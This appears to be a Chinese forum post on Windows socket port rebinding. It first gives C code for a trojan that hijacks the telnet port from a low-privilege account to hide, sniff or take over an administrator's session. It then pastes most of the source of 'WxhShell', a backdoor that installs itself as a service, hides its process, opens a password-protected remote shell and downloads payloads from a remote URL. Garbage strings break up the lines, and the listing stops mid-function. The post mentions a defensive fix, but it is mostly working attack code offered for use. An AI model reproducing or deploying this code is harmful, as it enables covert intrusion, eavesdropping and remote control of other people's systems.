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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zWN/>~}U \  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (s:ihpI  
cr}T ? $\K  
  saddr.sin_family = AF_INET; X@ zw;Se  
yH\3*#+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'VgdQp$L$  
M @|n"(P  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -4rXOmiA  
z%lu%   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'hEvW  
VnZRsFY<^  
  这意味着什么?意味着可以进行如下的攻击: ].=~C"s,a  
#3b_ #+,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sj;n1t}$S  
Qs38VlR_m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tl:V8sYTP  
d|P,e;m-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W^a-K  
VR8 kY&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HDmjt+3&n  
{}sF ?wZf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gD13(G98  
uX.^zg]}%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e8WuAI86  
b" Z$?5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pKxsK^O5[  
IE)$ .%q;)  
  #include n\-nBrVSf  
  #include UR3qzPm!0e  
  #include _T96.~Q  
  #include    1Q5:Vo^B#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d4#CZv[g/  
  int main() :\!D 6\o6  
  { `l#|][B)g$  
  WORD wVersionRequested; e;|:W A  
  DWORD ret; A"S F^p  
  WSADATA wsaData; {7'Evfn)  
  BOOL val; &:>3tFQSH  
  SOCKADDR_IN saddr; \?$`dA[  
  SOCKADDR_IN scaddr; ;\N )RZ  
  int err; Rm&^[mv  
  SOCKET s; Z[ NO`!<  
  SOCKET sc; ;S&PLgZ  
  int caddsize; mp !S<m  
  HANDLE mt; .S5%Qa [uW  
  DWORD tid;   '-,$@l#  
  wVersionRequested = MAKEWORD( 2, 2 ); ^"\3dfzKM  
  err = WSAStartup( wVersionRequested, &wsaData ); 0[# zn  
  if ( err != 0 ) { _#dBcEH[  
  printf("error!WSAStartup failed!\n"); s%& /Zt  
  return -1; KT 4h3D`,  
  } Gu#Vc.e  
  saddr.sin_family = AF_INET; O(R1D/A[  
   TR<M3,RG#%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G!u+~{g  
{Vw\#/,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6>yfm4o  
  saddr.sin_port = htons(23); ~nVO%IxM4J  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) azs lNL  
  { gNWTzz<[f>  
  printf("error!socket failed!\n"); [%0{7pz}  
  return -1; rN3qTp  
  } g3Xa b  
  val = TRUE; l.@v@T(/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #`HY"-7m_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9a6ij*#  
  { d3[O!4<T  
  printf("error!setsockopt failed!\n"); o]@Mg5(8Q  
  return -1;  &Hi;>  
  } nF)b4`Nd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z!& u_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'vX:)ZDi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .c5)`  
8v ZY+Q >  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9n#lDL O  
  { *QGyF`Go{  
  ret=GetLastError(); HM]mOmL90N  
  printf("error!bind failed!\n"); *y0=sG1+D  
  return -1; joRrsxFU  
  } ^. p d'  
  listen(s,2); /$U< S"  
  while(1) W=S<DtG2  
  { *U mWcFoF  
  caddsize = sizeof(scaddr); zR!p-7_w  
  //接受连接请求 jU9\BYUg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uxOeD%Z>  
  if(sc!=INVALID_SOCKET) [0?W>A*h  
  { lVYrP|#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E*Z# fa  
  if(mt==NULL) }T~ }W8H  
  { [S_qi,  
  printf("Thread Creat Failed!\n"); iD${7 _  
  break; `3e>JIl"0  
  } !qe:M]C'l  
  } ]zATdfa  
  CloseHandle(mt); ?r'2GR2Sk4  
  } Bnfp_SM  
  closesocket(s); g}OZ!mKd  
  WSACleanup(); 1!=^mu8  
  return 0; 6b wzNY 7  
  }   6Bf aB:  
  DWORD WINAPI ClientThread(LPVOID lpParam) mUdj2vB$+'  
  { KCl85Wi'  
  SOCKET ss = (SOCKET)lpParam; NVX@1}  
  SOCKET sc; f.G"[p  
  unsigned char buf[4096]; [e`e bn[C  
  SOCKADDR_IN saddr; :V!F~  
  long num; M-V{(  
  DWORD val; [vTk*#Cl4  
  DWORD ret; )Y &RMYy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fZgEJsr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wZ%a:Z4TcM  
  saddr.sin_family = AF_INET; #oD;?Mi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j[${h, p?  
  saddr.sin_port = htons(23); xO{$6M3-~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .z, ot|  
  { ( u^`3=%n  
  printf("error!socket failed!\n"); 045_0+r"@  
  return -1; `LOW)|6r`  
  } sXwa`_{  
  val = 100; F #)@ c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E<[ Y KY  
  { fZavZ\qU  
  ret = GetLastError(); P47x-;  
  return -1; eXAJ%^iD  
  } Q#5~"C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0^83:C ^{  
  { \h@3dJ4  
  ret = GetLastError(); awl3|k/  
  return -1; }0}=-g&  
  } LaX<2]Tx:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /@?lV!QiO  
  { [.'9Sw  
  printf("error!socket connect failed!\n"); J3XrlSc  
  closesocket(sc); Tn"^`\m  
  closesocket(ss); uE,g|51H/  
  return -1; tF:AqR: (~  
  } )?{jD  
  while(1) `hf`lq^  
  { (>SucUU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O?t49=uB}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9/JB n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V~sfR^FQ'  
  num = recv(ss,buf,4096,0); ] @uuB\u  
  if(num>0) * /^}  
  send(sc,buf,num,0); mRIBE9K+&  
  else if(num==0) r1BL?&X-  
  break; bJcO,M:2  
  num = recv(sc,buf,4096,0); "i,ZG$S#E  
  if(num>0) ZkryoIQ%=  
  send(ss,buf,num,0); :[&QoEZW  
  else if(num==0) J^-a@' `+  
  break; .Vrl:  
  } )fl+3!tq  
  closesocket(ss); /s@j{*Om  
  closesocket(sc); xEg@Y"NQ  
  return 0 ; "j8`)XXa(  
  } 3qkPe_<I  
bT^(D^  
#$;}-*  
========================================================== iGN6'm`  
`R*SHy! _  
下边附上一个代码,,WXhSHELL $;rvKco)%  
q[(1zG%NbA  
========================================================== <k 'zz:[c!  
Gkm {b[  
#include "stdafx.h" W~FU!C?]  
*|ef#-|D  
#include <stdio.h> 1&RB=7.h  
#include <string.h> ioUO 0  
#include <windows.h> P4:Zy;$v!  
#include <winsock2.h> 0),fY(D2T  
#include <winsvc.h> DWS#q|j`"  
#include <urlmon.h> B,] AfH  
3oV2Ek<d  
#pragma comment (lib, "Ws2_32.lib") 3+&k{UZjt  
#pragma comment (lib, "urlmon.lib") t +|t/1s2  
nrR2U`  
#define MAX_USER   100 // 最大客户端连接数 |rI;OvZ\  
#define BUF_SOCK   200 // sock buffer 2(5/#$t  
#define KEY_BUFF   255 // 输入 buffer &W3Hj$>  
=7[}:haB{  
#define REBOOT     0   // 重启 ??f,(om  
#define SHUTDOWN   1   // 关机 ZiPz~G0[^  
\Vpv78QF;  
#define DEF_PORT   5000 // 监听端口  $Gcjm~  
*z};&UsF{  
#define REG_LEN     16   // 注册表键长度 I|wC`VgB  
#define SVC_LEN     80   // NT服务名长度 B`YD>oCN  
CwD=nT5`  
// 从dll定义API Vjd(Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {Wndp%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j`#H%2W\;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %Fx ^"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yqH9*&KH{  
g_J QW(_  
// wxhshell配置信息 gvr&7=p  
struct WSCFG { !>f:wk2  
  int ws_port;         // 监听端口 -s0\4  
  char ws_passstr[REG_LEN]; // 口令 > Edsanx  
  int ws_autoins;       // 安装标记, 1=yes 0=no 86>@.:d  
  char ws_regname[REG_LEN]; // 注册表键名 qHvU4v  
  char ws_svcname[REG_LEN]; // 服务名 qcC(#0A>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B4*uS (  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $y{.fjy3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ilyF1=bp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +F.@n_}p-I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  uAs!5h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .<Ays?  
zK>m4+)~  
}; %{rPA3Xoy  
]^8CtgC  
// default Wxhshell configuration {-Gh 62hDg  
struct WSCFG wscfg={DEF_PORT, &DjA?0`J  
    "xuhuanlingzhe", bk&kZI.D  
    1, Cm]\5}Py  
    "Wxhshell", V5p^]To!  
    "Wxhshell", ObJ-XNcNH  
            "WxhShell Service", 8llXpe  
    "Wrsky Windows CmdShell Service", ~dzD7lG6  
    "Please Input Your Password: ", *>2e4j]  
  1, ohs`[U=%~  
  "http://www.wrsky.com/wxhshell.exe", OT(0~,.GJ  
  "Wxhshell.exe" KoA+Vv9  
    }; {{B'65Wu  
l`uMtv/Wp  
// 消息定义模块 fP6\Ur  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $xK\$kw\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bxzx@sF2l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^I yYck'y+  
char *msg_ws_ext="\n\rExit."; y^[t3XA6Q  
char *msg_ws_end="\n\rQuit."; }%AfZ 2g;h  
char *msg_ws_boot="\n\rReboot..."; 7yXJ\(6R_  
char *msg_ws_poff="\n\rShutdown..."; [-i&)eX  
char *msg_ws_down="\n\rSave to "; 2h#.:!/SMw  
,F*HZBNFZ  
char *msg_ws_err="\n\rErr!"; A,xPA  
char *msg_ws_ok="\n\rOK!"; 5%4yUd#b  
,CN (;z)  
char ExeFile[MAX_PATH]; m`):= ^nC  
int nUser = 0; .5AFAGv_c  
HANDLE handles[MAX_USER]; +FAxqCkA  
int OsIsNt; nLmF5.&  
o4OB xHKy  
SERVICE_STATUS       serviceStatus; m 9\"B3sr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rA^=;?7Q  
bBV03_*  
// 函数声明 iBtG@M  
int Install(void); U&=pKbTe  
int Uninstall(void); X y`2ux+>/  
int DownloadFile(char *sURL, SOCKET wsh); Z:Vde^Ih  
int Boot(int flag); iz)r.TJ  
void HideProc(void); ]N;n q  
int GetOsVer(void); mq:WBSsV  
int Wxhshell(SOCKET wsl); US=K}B=g  
void TalkWithClient(void *cs); K :kb&W  
int CmdShell(SOCKET sock); p_%,JD  
int StartFromService(void); SAj#+_db  
int StartWxhshell(LPSTR lpCmdLine); cN FHbMd  
jKo9y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ; yE.R[I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z_edNf }|  
[b&V^41W  
// 数据结构和表定义 %W$b2N{l  
SERVICE_TABLE_ENTRY DispatchTable[] = ?B$L'i[l  
{ `p1B58deC  
{wscfg.ws_svcname, NTServiceMain}, Slj U=,  
{NULL, NULL} c~ vql4  
}; 3$Vx8:Rhdn  
e M5-v-  
// 自我安装 `IJ)'$pn  
int Install(void) /OB)\{-  
{ )db:jPkwd  
  char svExeFile[MAX_PATH]; V~ MsGj  
  HKEY key; -3 ANNj  
  strcpy(svExeFile,ExeFile); k3e6y  
6V ncr}  
// 如果是win9x系统,修改注册表设为自启动 G<k.d"<  
if(!OsIsNt) { mPqK k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UZmUYSu;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ->o[ S0  
  RegCloseKey(key); ^$C&{%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { avM8-&h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dtTfV.y4w  
  RegCloseKey(key); .qKfhHJ  
  return 0; :8`$BbV  
    } +5I'? _{V  
  } ZMr[:,Jp  
} EkRx/  
else { LR!%iP  
isy[RAP<  
// 如果是NT以上系统,安装为系统服务 0UW_ Pbh6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kOdpW  
if (schSCManager!=0) n @R/zy  
{ f2pA+j5[  
  SC_HANDLE schService = CreateService _V e)M%  
  ( )E7wBNV   
  schSCManager, `8#xO{B1  
  wscfg.ws_svcname, z_'!?K{  
  wscfg.ws_svcdisp, vJct)i  
  SERVICE_ALL_ACCESS, ZR0 OqSp]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *93=}1gN  
  SERVICE_AUTO_START, :f%kk atO  
  SERVICE_ERROR_NORMAL, :xq{\"r  
  svExeFile, 6R8>w,  
  NULL, e-UWbn'~  
  NULL, #`U?,>2q  
  NULL, y1~ QKz  
  NULL, %C #Ps   
  NULL #`= >Mza  
  ); 6/Yo0D>M$  
  if (schService!=0) PX0N7L  
  { !};Ll=dz  
  CloseServiceHandle(schService); Z%LS{o~LK.  
  CloseServiceHandle(schSCManager); ]N0B.e~D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ) ?B-en\  
  strcat(svExeFile,wscfg.ws_svcname); $I/ !vV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4 #KC\C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w S?Kc^2O  
  RegCloseKey(key); F Pjc;zNA  
  return 0; (fr=[m$`  
    } -^t.eZ*|  
  } d2US~.;>l  
  CloseServiceHandle(schSCManager); 7QZy d-  
} xXI WEZA  
} vN@04a\h  
;{&4jcV*  
return 1; L0H^S)g  
} `1Md1e:J  
2XV|(  
// 自我卸载 Oml3=TV  
int Uninstall(void) 59:kL<;S-  
{ TNeL%s?B3  
  HKEY key; w)qmq  
 xiQc\k$  
if(!OsIsNt) { vl}}h%BC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \>EUa}%xn  
  RegDeleteValue(key,wscfg.ws_regname); ;}KJ[5i-V  
  RegCloseKey(key); 8'fF{C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RtxAIMzh?  
  RegDeleteValue(key,wscfg.ws_regname);  ]SL+ZT  
  RegCloseKey(key); PR(KDwsT&l  
  return 0; M&",7CPD(1  
  } 1|G5 W:  
} p14$XV  
} k%-UW%  
else { ?$<~cD" Sw  
CI \O)iB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bd;EI)JT  
if (schSCManager!=0) $:-C9N29  
{ yDe*-N\'W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "]'W^Fg  
  if (schService!=0) 1GLb^:~A  
  { @Xh8kvc81  
  if(DeleteService(schService)!=0) { $(OL#>9Ly  
  CloseServiceHandle(schService); nSZp,?^  
  CloseServiceHandle(schSCManager); 6"rS?>W/mO  
  return 0; |\"%Dy[m  
  } (tzAUrC  
  CloseServiceHandle(schService); &@2`_%QtA  
  } AGVipI #  
  CloseServiceHandle(schSCManager); aK,\e/Oo  
} sv "GX< +  
} g&ba]?[A  
GIR12%-EO  
return 1; 1.~^QH\p?3  
} .>y3`,0h  
+_f813$C  
// 从指定url下载文件  Bv%dy[I  
int DownloadFile(char *sURL, SOCKET wsh) lfw BUb  
{ v"J|Ebx  
  HRESULT hr; cj[%.M5iBA  
char seps[]= "/"; H66~!J0;a  
char *token; ?ia O6HD  
char *file; N a.e1A&?j  
char myURL[MAX_PATH]; 0d`lugf  
char myFILE[MAX_PATH]; aKRnj!4z  
Pb@$RAU6 3  
strcpy(myURL,sURL); ;D[I/U  
  token=strtok(myURL,seps); (t,|FkVLV  
  while(token!=NULL) $uK[[k~=S  
  { E`iE]O  
    file=token; lx82:_  
  token=strtok(NULL,seps); )hK;27m4  
  } UC00zW<Z@"  
 3+M+5  
GetCurrentDirectory(MAX_PATH,myFILE); XR#?gx.}  
strcat(myFILE, "\\"); !#WJ(zSq  
strcat(myFILE, file); X%B2xQM 5  
  send(wsh,myFILE,strlen(myFILE),0); =A"z.KfV  
send(wsh,"...",3,0); jwwst\f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eN<?rVZl  
  if(hr==S_OK) 4'`*Sce}  
return 0; |qq29dS?  
else {UhpN"'"n  
return 1; %8|?YxiZ:  
Az(J @  
} u)P)r,  
`M_w^&6+n  
// 系统电源模块 %9t=Iu*  
int Boot(int flag) .8CfCRq  
{ FvBnmYn W  
  HANDLE hToken; 7{f{SIB  
  TOKEN_PRIVILEGES tkp; v(jZ[{x@  
k~$}&O  
  if(OsIsNt) { M:K4o%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SR9M:%dga  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )Vx C v  
    tkp.PrivilegeCount = 1; 6wyhL-{:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 42DB0+_wz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #}'sknvM}  
if(flag==REBOOT) { ? ~_h3bHH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0:>C v<N  
  return 0; o7:"Sl2AD  
} .[o?qCsw  
else { 88atj+N]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LO ,k'gg<  
  return 0; DEpn>   
} lMXLd91  
  } QPsvc6ds  
  else { k=5v J72U  
if(flag==REBOOT) { t$U eks  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "eKM<S  
  return 0; BH?fFe&J:`  
} K%>3ev=y.s  
else { 1f5;^T I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) th|TwD&mO  
  return 0; Cqw`K P  
} J`A )WsKkb  
} xgB-m[Xi  
' C1yqkIa`  
return 1; xO'xZ%cUI  
} k.#[h@Pm  
#TY[\$BHs  
// win9x进程隐藏模块 \F),SL  
void HideProc(void) .^?Z3iA",  
{ (k5d.E]CK  
!X/O1PM|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m9 f[nT  
  if ( hKernel != NULL ) )'t&LWS~  
  { A ]~%<=b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T#R*]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4B=@<( H  
    FreeLibrary(hKernel); \ >|:URnD  
  } Ezw<  
Zk 9i}H  
return; j2,w1f}T  
} NpxND0  
~-2q3U Py  
// 获取操作系统版本 -D,kL  
int GetOsVer(void) JAcNjzL  
{ e!O:z   
  OSVERSIONINFO winfo; n%:&N   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;"D I)hd z  
  GetVersionEx(&winfo); &<S]=\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hvU\l`m  
  return 1; $3 ~ /H"K  
  else !5h@uar  
  return 0; a6.0 $'  
} ^>!~%Vv7!  
,zH\&D$>u  
// 客户端句柄模块 N'RUtFqj   
int Wxhshell(SOCKET wsl) \dc*!Es  
{ Ewczq1%l:  
  SOCKET wsh; 5_Opx=  
  struct sockaddr_in client; A LnE[}N6,  
  DWORD myID; 5Lm<3:7Q+  
3r,^is  
  while(nUser<MAX_USER) @ Yzj  
{ 91j.%#[v'  
  int nSize=sizeof(client); )qV&sru.$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LDv>hzo  
  if(wsh==INVALID_SOCKET) return 1; )1S"D~j-  
\{M/Do:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %W]" JwRu  
if(handles[nUser]==0) ^G]H9qY- e  
  closesocket(wsh); D<XRu4^;  
else y5lhmbl: e  
  nUser++; 9q f=P3  
  } 9Kd:7@U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :~+m9r  
w?zY9Fs=s  
  return 0; tR% &.,2  
} i$W=5B>SO  
>4eZ%</D5  
// 关闭 socket R?GF,s<j  
void CloseIt(SOCKET wsh) :yC|Q)  
{ WL/9r *jW  
closesocket(wsh); B(|dT66K  
nUser--; h O}nc$S  
ExitThread(0); nvnJVkL9s  
} /A~+32 B  
LS4|$X4H`!  
// 客户端请求句柄 _q dLA  
void TalkWithClient(void *cs) 2 VGGSLr  
{ %G>V .d  
u9R:2ah&K  
  SOCKET wsh=(SOCKET)cs; 4Z<  
  char pwd[SVC_LEN]; tM;S )S(=  
  char cmd[KEY_BUFF]; P_3U4J  
char chr[1]; G`r*)pdm  
int i,j; QHuh=7u)  
E?Ofkc$q  
  while (nUser < MAX_USER) { j8"2K^h=  
1 |zy6  
if(wscfg.ws_passstr) { 5uufpvah  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oc3}L^aD  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (N25.}8Y  
  //ZeroMemory(pwd,KEY_BUFF); '=eE6=m^K  
      i=0; <FFaaGiE>  
  while(i<SVC_LEN) { @:"GgkyDl#  
koAM",5D  
  // 设置超时 {Lm%zdk*k  
  fd_set FdRead; ;NzS;C'  
  struct timeval TimeOut; trC+Etc   
  FD_ZERO(&FdRead); y()Si\9v  
  FD_SET(wsh,&FdRead); E)7ODRVbl  
  TimeOut.tv_sec=8; Co#_Cyxg=9  
  TimeOut.tv_usec=0; #yVMC;J?W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &BDdJwE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2r|!:^'?W  
,dIo\Lm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "G`8>1tO_  
  pwd=chr[0]; Z w&_Wt  
  if(chr[0]==0xd || chr[0]==0xa) { _{5t/^w&!  
  pwd=0; 15^5y RXC  
  break; CAD:ifV  
  } X@n\~[.B  
  i++; ep3iI77/  
    } /4Lmu+G4  
f:-dw6a=s  
  // 如果是非法用户,关闭 socket %d\|a~p:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H\Jpw  
} IN%04~= H  
`e!hT@Xxa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2dF:;k k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `i)&nW)R  
|ozlaj  
while(1) { uJ!yM;{+  
wzRIvm{  
  ZeroMemory(cmd,KEY_BUFF); Q5s?/r  
9w! G  
      // 自动支持客户端 telnet标准   eL+L {Ac  
  j=0; nE)|6  
  while(j<KEY_BUFF) { 0w_2E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _~ipO1*  
  cmd[j]=chr[0]; U@$=0*  
  if(chr[0]==0xa || chr[0]==0xd) { I2wT]L UV  
  cmd[j]=0; :9E_L2M  
  break; xf.2Ig  
  } >xt*(j&}  
  j++; MXxE)"G*a  
    } P00pSRQHD  
K{&b "Ba1  
  // 下载文件 42m}c1R  
  if(strstr(cmd,"http://")) { 6v9{ $:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $Di2B A4Di  
  if(DownloadFile(cmd,wsh)) Y%V|M0 0`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d">Ya !W  
  else H?=D,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7BX%z$_)A  
  } e]+ [lq\p@  
  else { c[Mz#BWG  
(Rc 0l;  
    switch(cmd[0]) { U "qO&;m  
  _ z!0ab  
  // 帮助 'd"\h#  
  case '?': { X&<#3n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -^ (NIl'  
    break; L^`oJ9k!  
  } @Yq!  
  // 安装 B`4[@$  
  case 'i': { %-4e8d74/  
    if(Install()) sKX%<n$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S"=o U}'|  
    else z^f-MgWG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CDcs~PR@B  
    break; h,@x5q>g  
    } Wb4%=2Qn  
  // 卸载 \4SFD 3$&  
  case 'r': { uK?T <3]'  
    if(Uninstall()) $Q:5KNF+p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q#bFW?>y,  
    else )W@H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o4kNDXP#S  
    break; m,u? ^W  
    } >oc7=F<8lS  
  // 显示 wxhshell 所在路径 r[$Qtj Q  
  case 'p': { FVsNOU  
    char svExeFile[MAX_PATH]; z^4\?R50yO  
    strcpy(svExeFile,"\n\r"); 9tS& $-  
      strcat(svExeFile,ExeFile); ubhem(p#  
        send(wsh,svExeFile,strlen(svExeFile),0); oh;F]*k6  
    break; b>%I=H%g  
    } ^3`98y.Q  
  // 重启 qi7wr\XNW  
  case 'b': { O'."ca]:5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?.A6HrAPB  
    if(Boot(REBOOT)) 'ce9v@(0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $`'^&o;&f  
    else { $gZ|=(y&r  
    closesocket(wsh); 1F5F2OT$8  
    ExitThread(0); 33\b@F7b  
    } pAmTwe  
    break; U gB  
    } e7L;{+XI  
